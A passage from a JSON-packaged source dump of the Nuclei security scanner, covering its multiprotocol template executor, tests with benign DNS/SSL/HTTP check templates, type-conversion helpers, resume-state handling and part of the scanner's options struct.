multiprotocol execution\n\n### Exceptions\n- statements 1 & 2 are intentionally skipped in `file` protocol to avoid redundant data\n  - file/dir input paths don't contain variables or are used in path (yet) \n  - since files are processed by scanning each line. adding statement 2 will unintentionally load all file(s) data\n"
  },
  {
    "path": "pkg/tmplexec/multiproto/doc.go",
    "content": "package multiproto\n\n// multiproto is a template executer engine that executes multiple protocols\n// with shared logic in between\n"
  },
  {
    "path": "pkg/tmplexec/multiproto/multi.go",
    "content": "package multiproto\n\nimport (\n\t\"strconv\"\n\t\"sync/atomic\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/utils\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\n// Mutliprotocol is a template executer engine that executes multiple protocols\n// with logic in between\ntype MultiProtocol struct {\n\trequests     []protocols.Request\n\toptions      *protocols.ExecutorOptions\n\tresults      *atomic.Bool\n\treadOnlyArgs map[string]interface{} // readOnlyArgs are readonly args that are available after compilation\n}\n\n// NewMultiProtocol creates a new multiprotocol template engine from a list of requests\nfunc NewMultiProtocol(requests []protocols.Request, options *protocols.ExecutorOptions, results *atomic.Bool) *MultiProtocol {\n\tif results == nil {\n\t\tresults = &atomic.Bool{}\n\t}\n\treturn &MultiProtocol{requests: requests, options: options, results: results}\n}\n\n// Compile engine specific compilation\nfunc (m *MultiProtocol) Compile() error {\n\t// load all variables and evaluate with existing data\n\tvariableMap := m.options.Variables.GetAll()\n\t// cli options\n\toptionVars := generators.BuildPayloadFromOptions(m.options.Options)\n\t// constants\n\tconstants := m.options.Constants\n\tallVars := generators.MergeMaps(variableMap, constants, optionVars)\n\tallVars = m.options.Variables.Evaluate(allVars)\n\tm.readOnlyArgs = allVars\n\t// no need to load files since they are done at template level\n\treturn nil\n}\n\n// ExecuteWithResults executes the template and returns results\nfunc (m *MultiProtocol) ExecuteWithResults(ctx *scan.ScanContext) error {\n\tselect {\n\tcase <-ctx.Context().Done():\n\t\treturn ctx.Context().Err()\n\tdefault:\n\t}\n\n\t// put all readonly args into template context\n\tm.options.GetTemplateCtx(ctx.Input.MetaInput).Merge(m.readOnlyArgs)\n\n\t// add all input args to template context\n\tctx.Input.ForEach(func(key string, value interface{}) {\n\t\tm.options.GetTemplateCtx(ctx.Input.MetaInput).Set(key, value)\n\t})\n\n\tprevious := mapsutil.NewSyncLockMap[string, any]()\n\n\t// template context: contains values extracted using `internal` extractor from previous protocols\n\t// these values are extracted from each protocol in queue and are passed to next protocol in queue\n\t// instead of adding separator field to handle such cases these values are appended to `dynamicValues` (which are meant to be used in workflows)\n\t// this makes it possible to use multi protocol templates in workflows\n\t// Note: internal extractor values take precedence over dynamicValues from workflows (i.e other templates in workflow)\n\n\t// execute all protocols in the queue\n\tfor _, req := range m.requests {\n\t\tselect {\n\t\tcase <-ctx.Context().Done():\n\t\t\treturn ctx.Context().Err()\n\t\tdefault:\n\t\t}\n\t\tinputItem := ctx.Input.Clone()\n\t\tif m.options.InputHelper != nil && ctx.Input.MetaInput.Input != \"\" {\n\t\t\tif inputItem.MetaInput.Input = m.options.InputHelper.Transform(inputItem.MetaInput.Input, req.Type()); inputItem.MetaInput.Input == \"\" {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\t// FIXME: this hack of using hash to get templateCtx has known issues scan context based approach should be adopted ASAP\n\t\tvalues := m.options.GetTemplateCtx(inputItem.MetaInput).GetAll()\n\t\terr := req.ExecuteWithResults(inputItem, output.InternalEvent(values), output.InternalEvent(previous.GetAll()), func(event *output.InternalWrappedEvent) {\n\t\t\tif event == nil {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tutils.FillPreviousEvent(req.GetID(), event, previous)\n\n\t\t\t// log event and generate result for the event\n\t\t\tctx.LogEvent(event)\n\t\t\t// export dynamic values from operators (i.e internal:true)\n\t\t\tif event.OperatorsResult != nil && len(event.OperatorsResult.DynamicValues) > 0 {\n\t\t\t\tfor k, v := range event.OperatorsResult.DynamicValues {\n\t\t\t\t\t// TBD: iterate-all is only supported in `http` protocol\n\t\t\t\t\t// we either need to add support for iterate-all in other protocols or implement a different logic (specific to template context)\n\t\t\t\t\t// currently if dynamic value array only contains one value we replace it with the value\n\t\t\t\t\tif len(v) == 1 {\n\t\t\t\t\t\tm.options.GetTemplateCtx(ctx.Input.MetaInput).Set(k, v[0])\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// Note: if extracted value contains multiple values then they can be accessed by indexing\n\t\t\t\t\t\t// ex: if values are dynamic = []string{\"a\",\"b\",\"c\"} then they are available as\n\t\t\t\t\t\t// dynamic = \"a\" , dynamic1 = \"b\" , dynamic2 = \"c\"\n\t\t\t\t\t\t// we intentionally omit first index for unknown situations (where no of extracted values are not known)\n\t\t\t\t\t\tfor i, val := range v {\n\t\t\t\t\t\t\tif i == 0 {\n\t\t\t\t\t\t\t\tm.options.GetTemplateCtx(ctx.Input.MetaInput).Set(k, val)\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tm.options.GetTemplateCtx(ctx.Input.MetaInput).Set(k+strconv.Itoa(i), val)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// evaluate all variables after execution of each protocol\n\t\t\tvariableMap := m.options.Variables.Evaluate(m.options.GetTemplateCtx(ctx.Input.MetaInput).GetAll())\n\t\t\tm.options.GetTemplateCtx(ctx.Input.MetaInput).Merge(variableMap) // merge all variables into template context\n\t\t})\n\t\t// in case of fatal error skip execution of next protocols\n\t\tif err != nil {\n\t\t\t// always log errors\n\t\t\tctx.LogError(err)\n\t\t\t// for some classes of protocols (i.e ssl) errors like tls handshake are a legitimate behavior so we don't stop execution\n\t\t\t// connection failures are already tracked by the internal host error cache\n\t\t\t// we use strings comparison as the error is not formalized into instance within the standard library\n\t\t\t// within a flow instead we consider ssl errors as fatal, since a specific logic was requested\n\t\t\tif req.Type() == types.SSLProtocol && stringsutil.ContainsAnyI(err.Error(), \"protocol version not supported\", \"could not do tls handshake\") {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\n// Name of the template engine\nfunc (m *MultiProtocol) Name() string {\n\treturn \"multiproto\"\n}\n"
  },
  {
    "path": "pkg/tmplexec/multiproto/multi_test.go",
    "content": "package multiproto_test\n\nimport (\n\t\"context\"\n\t\"log\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/progress\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/ratelimit\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nvar executerOpts *protocols.ExecutorOptions\n\nfunc setup() {\n\toptions := testutils.DefaultOptions\n\ttestutils.Init(options)\n\tprogressImpl, _ := progress.NewStatsTicker(0, false, false, false, 0)\n\n\texecuterOpts = &protocols.ExecutorOptions{\n\t\tOutput:       testutils.NewMockOutputWriter(options.OmitTemplate),\n\t\tOptions:      options,\n\t\tProgress:     progressImpl,\n\t\tProjectFile:  nil,\n\t\tIssuesClient: nil,\n\t\tBrowser:      nil,\n\t\tCatalog:      disk.NewCatalog(config.DefaultConfig.TemplatesDirectory),\n\t\tRateLimiter:  ratelimit.New(context.Background(), uint(options.RateLimit), time.Second),\n\t\tParser:       templates.NewParser(),\n\t\tInputHelper:  input.NewHelper(),\n\t}\n\tworkflowLoader, err := workflow.NewLoader(executerOpts)\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not create workflow loader: %s\\n\", err)\n\t}\n\texecuterOpts.WorkflowLoader = workflowLoader\n}\n\nfunc TestMultiProtoWithDynamicExtractor(t *testing.T) {\n\tTemplate, err := templates.Parse(\"testcases/multiprotodynamic.yaml\", nil, executerOpts)\n\trequire.Nil(t, err, \"could not parse template\")\n\n\trequire.Equal(t, 2, len(Template.RequestsQueue))\n\n\terr = Template.Executer.Compile()\n\trequire.Nil(t, err, \"could not compile template\")\n\n\tinput := contextargs.NewWithInput(context.Background(), \"http://scanme.sh\")\n\tctx := scan.NewScanContext(context.Background(), input)\n\tgotresults, err := Template.Executer.Execute(ctx)\n\trequire.Nil(t, err, \"could not execute template\")\n\trequire.True(t, gotresults)\n}\n\nfunc TestMultiProtoWithProtoPrefix(t *testing.T) {\n\tTemplate, err := templates.Parse(\"testcases/multiprotowithprefix.yaml\", nil, executerOpts)\n\trequire.Nil(t, err, \"could not parse template\")\n\n\trequire.Equal(t, 3, len(Template.RequestsQueue))\n\n\terr = Template.Executer.Compile()\n\trequire.Nil(t, err, \"could not compile template\")\n\n\tinput := contextargs.NewWithInput(context.Background(), \"https://cloud.projectdiscovery.io/sign-in\")\n\tctx := scan.NewScanContext(context.Background(), input)\n\tgotresults, err := Template.Executer.Execute(ctx)\n\trequire.Nil(t, err, \"could not execute template\")\n\trequire.True(t, gotresults)\n}\n\nfunc TestMain(m *testing.M) {\n\tsetup()\n\tos.Exit(m.Run())\n}\n"
  },
  {
    "path": "pkg/tmplexec/multiproto/testcases/multiprotodynamic.yaml",
    "content": "id: dns-http-dynamic-values\n\ninfo:\n  name: multi protocol request with dynamic values\n  author: pdteam\n  severity: info\n\ndns:\n  - name: \"{{FQDN}}\" # DNS Request\n    type: a\n\nhttp:\n  - method: GET # http request\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - body == \"ok\"\n          - dns_a == '128.199.158.128' # check for A record (extracted information from dns response)\n        condition: and"
  },
  {
    "path": "pkg/tmplexec/multiproto/testcases/multiprotowithprefix.yaml",
    "content": "id: dns-http-proto-prefix\n\ninfo:\n  name: multi protocol request with dynamic values\n  author: pdteam\n  severity: info\n\ndns:\n  - name: \"{{FQDN}}\" # DNS Request\n    type: cname\n\nssl:\n  - address: \"{{Hostname}}\" # ssl request\n\nhttp:\n  - method: GET # http request\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(http_body, 'ProjectDiscovery') # check for http string\n          - dns_cname == 'cname.vercel-dns.com' # check for cname (extracted information from dns response)\n          - ssl_subject_cn == 'cloud.projectdiscovery.io'\n        condition: and"
  },
  {
    "path": "pkg/tmplexec/utils/utils.go",
    "content": "package utils\n\nimport (\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\n// FillPreviousEvent is a helper function to get the previous event from the event\n// without leading to duplicate prefixes\nfunc FillPreviousEvent(reqID string, event *output.InternalWrappedEvent, previous *mapsutil.SyncLockMap[string, any]) {\n\tif reqID == \"\" {\n\t\treturn\n\t}\n\n\tfor k, v := range event.InternalEvent {\n\t\tif _, ok := previous.Get(k); ok {\n\t\t\tcontinue\n\t\t}\n\n\t\tif strings.HasPrefix(k, reqID+\"_\") {\n\t\t\tcontinue\n\t\t}\n\n\t\tvar builder strings.Builder\n\n\t\tbuilder.WriteString(reqID)\n\t\tbuilder.WriteString(\"_\")\n\t\tbuilder.WriteString(k)\n\n\t\t_ = previous.Set(builder.String(), v)\n\t}\n}\n"
  },
  {
    "path": "pkg/types/interfaces.go",
    "content": "// Taken from https://github.com/spf13/cast.\n\npackage types\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/asaskevich/govalidator\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n)\n\n// JSONScalarToString converts an interface coming from json to string\n// Inspired from: https://github.com/cli/cli/blob/09b09810dd812e3ede54b59ad9d6912b946ac6c5/pkg/export/template.go#L72\nfunc JSONScalarToString(input interface{}) (string, error) {\n\tswitch tt := input.(type) {\n\tcase string:\n\t\treturn ToString(tt), nil\n\tcase float64:\n\t\treturn ToString(tt), nil\n\tcase nil:\n\t\treturn ToString(tt), nil\n\tcase bool:\n\t\treturn ToString(tt), nil\n\tdefault:\n\t\treturn \"\", fmt.Errorf(\"cannot convert type to string: %v\", tt)\n\t}\n}\n\n// ToString converts an interface to string in a quick way\nfunc ToString(data interface{}) string {\n\tswitch s := data.(type) {\n\tcase nil:\n\t\treturn \"\"\n\tcase string:\n\t\treturn s\n\tcase bool:\n\t\treturn strconv.FormatBool(s)\n\tcase float64:\n\t\treturn strconv.FormatFloat(s, 'f', -1, 64)\n\tcase float32:\n\t\treturn strconv.FormatFloat(float64(s), 'f', -1, 32)\n\tcase int:\n\t\treturn strconv.Itoa(s)\n\tcase int64:\n\t\treturn strconv.FormatInt(s, 10)\n\tcase int32:\n\t\treturn strconv.Itoa(int(s))\n\tcase int16:\n\t\treturn strconv.FormatInt(int64(s), 10)\n\tcase int8:\n\t\treturn strconv.FormatInt(int64(s), 10)\n\tcase uint:\n\t\treturn strconv.FormatUint(uint64(s), 10)\n\tcase uint64:\n\t\treturn strconv.FormatUint(s, 10)\n\tcase uint32:\n\t\treturn strconv.FormatUint(uint64(s), 10)\n\tcase uint16:\n\t\treturn strconv.FormatUint(uint64(s), 10)\n\tcase uint8:\n\t\treturn strconv.FormatUint(uint64(s), 10)\n\tcase []byte:\n\t\treturn string(s)\n\tcase severity.Holder:\n\t\treturn s.Severity.String()\n\tcase severity.Severity:\n\t\treturn s.String()\n\tcase fmt.Stringer:\n\t\treturn s.String()\n\tcase error:\n\t\treturn s.Error()\n\tdefault:\n\t\treturn fmt.Sprintf(\"%v\", data)\n\t}\n}\n\n// ToStringNSlice converts an interface to string in a quick way or to a slice with strings\n// if the input is a slice of interfaces.\nfunc ToStringNSlice(data interface{}) interface{} {\n\tswitch s := data.(type) {\n\tcase []interface{}:\n\t\tvar a []string\n\t\tfor _, v := range s {\n\t\t\ta = append(a, ToString(v))\n\t\t}\n\t\treturn a\n\tdefault:\n\t\treturn ToString(data)\n\t}\n}\n\nfunc ToHexOrString(data interface{}) string {\n\tswitch s := data.(type) {\n\tcase string:\n\t\tif govalidator.IsASCII(s) {\n\t\t\treturn s\n\t\t}\n\t\treturn hex.Dump([]byte(s))\n\tcase []byte:\n\t\treturn hex.Dump(s)\n\tdefault:\n\t\treturn fmt.Sprintf(\"%v\", data)\n\t}\n}\n\n// ToStringSlice casts an interface to a []string type.\nfunc ToStringSlice(i interface{}) []string {\n\tvar a []string\n\n\tswitch v := i.(type) {\n\tcase []interface{}:\n\t\tfor _, u := range v {\n\t\t\ta = append(a, ToString(u))\n\t\t}\n\t\treturn a\n\tcase []string:\n\t\treturn v\n\tcase string:\n\t\treturn strings.Fields(v)\n\tdefault:\n\t\treturn nil\n\t}\n}\n\n// ToByteSlice casts an interface to a []byte type.\nfunc ToByteSlice(i interface{}) []byte {\n\tswitch v := i.(type) {\n\tcase []byte:\n\t\treturn v\n\tcase []string:\n\t\treturn []byte(strings.Join(v, \"\"))\n\tcase string:\n\t\treturn []byte(v)\n\tcase []interface{}:\n\t\tvar buff bytes.Buffer\n\t\tfor _, u := range v {\n\t\t\tbuff.WriteString(ToString(u))\n\t\t}\n\t\treturn buff.Bytes()\n\tdefault:\n\t\tstrValue := ToString(i)\n\t\treturn []byte(strValue)\n\t}\n}\n\n// ToStringMap casts an interface to a map[string]interface{} type.\nfunc ToStringMap(i interface{}) map[string]interface{} {\n\tvar m = map[string]interface{}{}\n\n\tswitch v := i.(type) {\n\tcase map[interface{}]interface{}:\n\t\tfor k, val := range v {\n\t\t\tm[ToString(k)] = val\n\t\t}\n\t\treturn m\n\tcase map[string]interface{}:\n\t\treturn v\n\tdefault:\n\t\treturn nil\n\t}\n}\n"
  },
  {
    "path": "pkg/types/nucleierr/kinds.go",
    "content": "package nucleierr\n\nimport (\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\nvar (\n\t// ErrTemplateLogic are errors that occurred due to missing variable or something similar in template logic\n\t// so this is more of a virtual error that is expected due to template logic\n\tErrTemplateLogic = errkit.NewPrimitiveErrKind(\"TemplateLogic\", \"Error expected due to template logic\", isTemplateLogicKind)\n)\n\n// isTemplateLogicKind checks if an error is of template logic kind\nfunc isTemplateLogicKind(err *errkit.ErrorX) bool {\n\tif err == nil || err.Cause() == nil {\n\t\treturn false\n\t}\n\tv := err.Cause().Error()\n\tswitch {\n\tcase strings.Contains(v, \"timeout annotation deadline exceeded\"):\n\t\treturn true\n\tcase strings.Contains(v, \"stop execution due to unresolved variables\"):\n\t\treturn true\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "pkg/types/resume.go",
    "content": "package types\n\nimport (\n\t\"fmt\"\n\t\"math\"\n\t\"path/filepath\"\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/rs/xid\"\n)\n\n// Default resume file\nconst DefaultResumeFileName = \"resume-%s.cfg\"\n\nfunc DefaultResumeFilePath() string {\n\tcacheDir := config.DefaultConfig.GetCacheDir()\n\tresumeFile := filepath.Join(cacheDir, fmt.Sprintf(DefaultResumeFileName, xid.New().String()))\n\treturn resumeFile\n}\n\n// ResumeCfg contains the scan progression\ntype ResumeCfg struct {\n\tsync.RWMutex\n\tResumeFrom map[string]*ResumeInfo `json:\"resumeFrom\"`\n\tCurrent    map[string]*ResumeInfo `json:\"-\"`\n}\n\ntype ResumeInfo struct {\n\tsync.RWMutex\n\tCompleted bool                `json:\"completed\"`\n\tInFlight  map[uint32]struct{} `json:\"inFlight\"`\n\tSkipUnder uint32              `json:\"-\"`\n\tRepeat    map[uint32]struct{} `json:\"-\"`\n\tDoAbove   uint32              `json:\"-\"`\n}\n\nfunc (resumeInfo *ResumeInfo) IsCompleted() bool {\n\tresumeInfo.RLock()\n\tdefer resumeInfo.RUnlock()\n\treturn resumeInfo.Completed\n}\n\nfunc (resumeInfo *ResumeInfo) GetSkipUnder() uint32 {\n\tresumeInfo.RLock()\n\tdefer resumeInfo.RUnlock()\n\treturn resumeInfo.SkipUnder\n}\n\nfunc (resumeInfo *ResumeInfo) GetDoAbove() uint32 {\n\tresumeInfo.RLock()\n\tdefer resumeInfo.RUnlock()\n\treturn resumeInfo.DoAbove\n}\n\nfunc (resumeInfo *ResumeInfo) InitInFlight() {\n\tresumeInfo.Lock()\n\tdefer resumeInfo.Unlock()\n\tif resumeInfo.InFlight == nil {\n\t\tresumeInfo.InFlight = make(map[uint32]struct{})\n\t}\n}\n\nfunc (resumeInfo *ResumeInfo) IsInFlight(index uint32) bool {\n\tresumeInfo.RLock()\n\tdefer resumeInfo.RUnlock()\n\t_, ok := resumeInfo.InFlight[index]\n\treturn ok\n}\n\n// Clone the ResumeInfo structure\nfunc (resumeInfo *ResumeInfo) Clone() *ResumeInfo {\n\tresumeInfo.Lock()\n\tdefer resumeInfo.Unlock()\n\n\tinFlight := make(map[uint32]struct{})\n\tfor u := range resumeInfo.InFlight {\n\t\tinFlight[u] = struct{}{}\n\t}\n\trepeat := make(map[uint32]struct{})\n\tfor u := range resumeInfo.Repeat {\n\t\trepeat[u] = struct{}{}\n\t}\n\n\treturn &ResumeInfo{\n\t\tCompleted: resumeInfo.Completed,\n\t\tInFlight:  inFlight,\n\t\tSkipUnder: resumeInfo.SkipUnder,\n\t\tRepeat:    repeat,\n\t\tDoAbove:   resumeInfo.DoAbove,\n\t}\n}\n\n// NewResumeCfg creates a new scan progression structure\nfunc NewResumeCfg() *ResumeCfg {\n\treturn &ResumeCfg{\n\t\tResumeFrom: make(map[string]*ResumeInfo),\n\t\tCurrent:    make(map[string]*ResumeInfo),\n\t}\n}\n\n// Clone the resume structure\nfunc (resumeCfg *ResumeCfg) Clone() *ResumeCfg {\n\tresumeCfg.Lock()\n\tdefer resumeCfg.Unlock()\n\n\tresumeFrom := make(map[string]*ResumeInfo)\n\tfor id, resumeInfo := range resumeCfg.ResumeFrom {\n\t\tresumeFrom[id] = resumeInfo.Clone()\n\t}\n\tcurrent := make(map[string]*ResumeInfo)\n\tfor id, resumeInfo := range resumeCfg.Current {\n\t\tcurrent[id] = resumeInfo.Clone()\n\t}\n\n\treturn &ResumeCfg{\n\t\tResumeFrom: resumeFrom,\n\t\tCurrent:    current,\n\t}\n}\n\n// Clone the resume structure\nfunc (resumeCfg *ResumeCfg) Compile() {\n\tresumeCfg.Lock()\n\tdefer resumeCfg.Unlock()\n\n\tfor _, resumeInfo := range resumeCfg.ResumeFrom {\n\t\tif resumeInfo.Completed && len(resumeInfo.InFlight) > 0 {\n\t\t\tresumeInfo.InFlight = make(map[uint32]struct{})\n\t\t}\n\t\tmin := uint32(math.MaxUint32)\n\t\tmax := uint32(0)\n\t\tfor index := range resumeInfo.InFlight {\n\t\t\tif index < min {\n\t\t\t\tmin = index\n\t\t\t}\n\t\t\tif index > max {\n\t\t\t\tmax = index\n\t\t\t}\n\t\t}\n\t\t// maybe redundant but ensures we track the indexes to be repeated\n\t\tresumeInfo.Repeat = map[uint32]struct{}{}\n\t\tfor index := range resumeInfo.InFlight {\n\t\t\tresumeInfo.Repeat[index] = struct{}{}\n\t\t}\n\t\tresumeInfo.SkipUnder = min\n\t\tresumeInfo.DoAbove = max\n\t}\n}\n"
  },
  {
    "path": "pkg/types/scanstrategy/scan_strategy.go",
    "content": "package scanstrategy\n\nimport (\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\n// ScanStrategy supported\ntype ScanStrategy uint8\n\nconst (\n\tAuto ScanStrategy = iota\n\tHostSpray\n\tTemplateSpray\n)\n\nvar strategies mapsutil.Map[ScanStrategy, string]\n\nfunc init() {\n\tstrategies = make(mapsutil.Map[ScanStrategy, string])\n\tstrategies[Auto] = \"auto\"\n\tstrategies[HostSpray] = \"host-spray\"\n\tstrategies[TemplateSpray] = \"template-spray\"\n}\n\n// String representation of the scan strategy\nfunc (s ScanStrategy) String() string {\n\treturn strategies[s]\n}\n"
  },
  {
    "path": "pkg/types/types.go",
    "content": "package types\n\nimport (\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/goflags\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tfolderutil \"github.com/projectdiscovery/utils/folder\"\n\tunitutils \"github.com/projectdiscovery/utils/unit\"\n\t\"github.com/rs/xid\"\n)\n\nconst DefaultTemplateLoadingConcurrency = 50\n\nvar (\n\t// ErrNoMoreRequests is internal error to indicate that generator has no more requests to generate\n\tErrNoMoreRequests = io.EOF\n)\n\n// LoadHelperFileFunction can be used to load a helper file.\ntype LoadHelperFileFunction func(helperFile, templatePath string, catalog catalog.Catalog) (io.ReadCloser, error)\n\n// Options contains the configuration options for nuclei scanner.\ntype Options struct {\n\t// Tags contains a list of tags to execute templates for. Multiple paths\n\t// can be specified with -l flag and -tags can be used in combination with\n\t// the -l flag.\n\tTags goflags.StringSlice\n\t// ExcludeTags is the list of tags to exclude\n\tExcludeTags goflags.StringSlice\n\t// Workflows specifies any workflows to run by nuclei\n\tWorkflows goflags.StringSlice\n\t// WorkflowURLs specifies URLs to a list of workflows to use\n\tWorkflowURLs goflags.StringSlice\n\t// Templates specifies the template/templates to use\n\tTemplates goflags.StringSlice\n\t// TemplateURLs specifies URLs to a list of templates to use\n\tTemplateURLs goflags.StringSlice\n\t// AITemplatePrompt specifies prompt to generate template using AI\n\tAITemplatePrompt string\n\t// RemoteTemplates specifies list of allowed URLs to load remote templates from\n\tRemoteTemplateDomainList goflags.StringSlice\n\t// \tExcludedTemplates  specifies the template/templates to exclude\n\tExcludedTemplates goflags.StringSlice\n\t// ExcludeMatchers is a list of matchers to exclude processing\n\tExcludeMatchers goflags.StringSlice\n\t// CustomHeaders is the list of custom global headers to send with each request.\n\tCustomHeaders goflags.StringSlice\n\t// Vars is the list of custom global vars\n\tVars goflags.RuntimeMap\n\t// Severities filters templates based on their severity and only run the matching ones.\n\tSeverities severity.Severities\n\t// ExcludeSeverities specifies severities to exclude\n\tExcludeSeverities severity.Severities\n\t// Authors filters templates based on their author and only run the matching ones.\n\tAuthors goflags.StringSlice\n\t// Protocols contains the protocols to be allowed executed\n\tProtocols types.ProtocolTypes\n\t// ExcludeProtocols contains protocols to not be executed\n\tExcludeProtocols types.ProtocolTypes\n\t// IncludeTags includes specified tags to be run even while being in denylist\n\tIncludeTags goflags.StringSlice\n\t// IncludeTemplates includes specified templates to be run even while being in denylist\n\tIncludeTemplates goflags.StringSlice\n\t// IncludeIds includes specified ids to be run even while being in denylist\n\tIncludeIds goflags.StringSlice\n\t// ExcludeIds contains templates ids to not be executed\n\tExcludeIds goflags.StringSlice\n\t// InternalResolversList is the list of internal resolvers to use\n\tInternalResolversList []string\n\t// ProjectPath allows nuclei to use a user defined project folder\n\tProjectPath string\n\t// InteractshURL is the URL for the interactsh server.\n\tInteractshURL string\n\t// Interactsh Authorization header value for self-hosted servers\n\tInteractshToken string\n\t// Target URLs/Domains to scan using a template\n\tTargets goflags.StringSlice\n\t// ExcludeTargets URLs/Domains to exclude from scanning\n\tExcludeTargets goflags.StringSlice\n\t// TargetsFilePath specifies the targets from a file to scan using templates.\n\tTargetsFilePath string\n\t// Resume the scan from the state stored in the resume config file\n\tResume string\n\t// Output is the file to write found results to.\n\tOutput string\n\t// ProxyInternal requests\n\tProxyInternal bool\n\t// Show all supported DSL signatures\n\tListDslSignatures bool\n\t// List of HTTP(s)/SOCKS5 proxy to use (comma separated or file input)\n\tProxy goflags.StringSlice\n\t// AliveProxy is the alive proxy to use\n\tAliveHttpProxy string\n\t// AliveSocksProxy is the alive socks proxy to use\n\tAliveSocksProxy string\n\t// TemplatesDirectory is the directory to use for storing templates\n\tNewTemplatesDirectory string\n\t// TraceLogFile specifies a file to write with the trace of all requests\n\tTraceLogFile string\n\t// ErrorLogFile specifies a file to write with the errors of all requests\n\tErrorLogFile string\n\t// ReportingDB is the db for report storage as well as deduplication\n\tReportingDB string\n\t// ReportingConfig is the config file for nuclei reporting module\n\tReportingConfig string\n\t// MarkdownExportDirectory is the directory to export reports in Markdown format\n\tMarkdownExportDirectory string\n\t// MarkdownExportSortMode is the method to sort the markdown reports (options: severity, template, host, none)\n\tMarkdownExportSortMode string\n\t// SarifExport is the file to export sarif output format to\n\tSarifExport string\n\t// ResolversFile is a file containing resolvers for nuclei.\n\tResolversFile string\n\t// StatsInterval is the number of seconds to display stats after\n\tStatsInterval int\n\t// MetricsPort is the port to show metrics on\n\tMetricsPort int\n\t// MaxHostError is the maximum number of errors allowed for a host\n\tMaxHostError int\n\t// TrackError contains additional error messages that count towards the maximum number of errors allowed for a host\n\tTrackError goflags.StringSlice\n\t// NoHostErrors disables host skipping after maximum number of errors\n\tNoHostErrors bool\n\t// BulkSize is the of targets analyzed in parallel for each template\n\tBulkSize int\n\t// TemplateThreads is the number of templates executed in parallel\n\tTemplateThreads int\n\t// HeadlessBulkSize is the of targets analyzed in parallel for each headless template\n\tHeadlessBulkSize int\n\t// HeadlessTemplateThreads is the number of headless templates executed in parallel\n\tHeadlessTemplateThreads int\n\t// Timeout is the seconds to wait for a response from the server.\n\tTimeout int\n\t// Retries is the number of times to retry the request\n\tRetries int\n\t// Rate-Limit is the maximum number of requests per specified target\n\tRateLimit int\n\t// Rate Limit Duration interval between burst resets\n\tRateLimitDuration time.Duration\n\t// Rate-Limit is the maximum number of requests per minute for specified target\n\t// Deprecated: Use RateLimitDuration - automatically set Rate Limit Duration to 60 seconds\n\tRateLimitMinute int\n\t// PageTimeout is the maximum time to wait for a page in seconds\n\tPageTimeout int\n\t// InteractionsCacheSize is the number of interaction-url->req to keep in cache at a time.\n\tInteractionsCacheSize int\n\t// InteractionsPollDuration is the number of seconds to wait before each interaction poll\n\tInteractionsPollDuration int\n\t// Eviction is the number of seconds after which to automatically discard\n\t// interaction requests.\n\tInteractionsEviction int\n\t// InteractionsCoolDownPeriod is additional seconds to wait for interactions after closing\n\t// of the poller.\n\tInteractionsCoolDownPeriod int\n\t// MaxRedirects is the maximum numbers of redirects to be followed.\n\tMaxRedirects int\n\t// FollowRedirects enables following redirects for http request module\n\tFollowRedirects bool\n\t// FollowRedirects enables following redirects for http request module only on the same host\n\tFollowHostRedirects bool\n\t// OfflineHTTP is a flag that specific offline processing of http response\n\t// using same matchers/extractors from http protocol without the need\n\t// to send a new request, reading responses from a file.\n\tOfflineHTTP bool\n\t// Force HTTP2 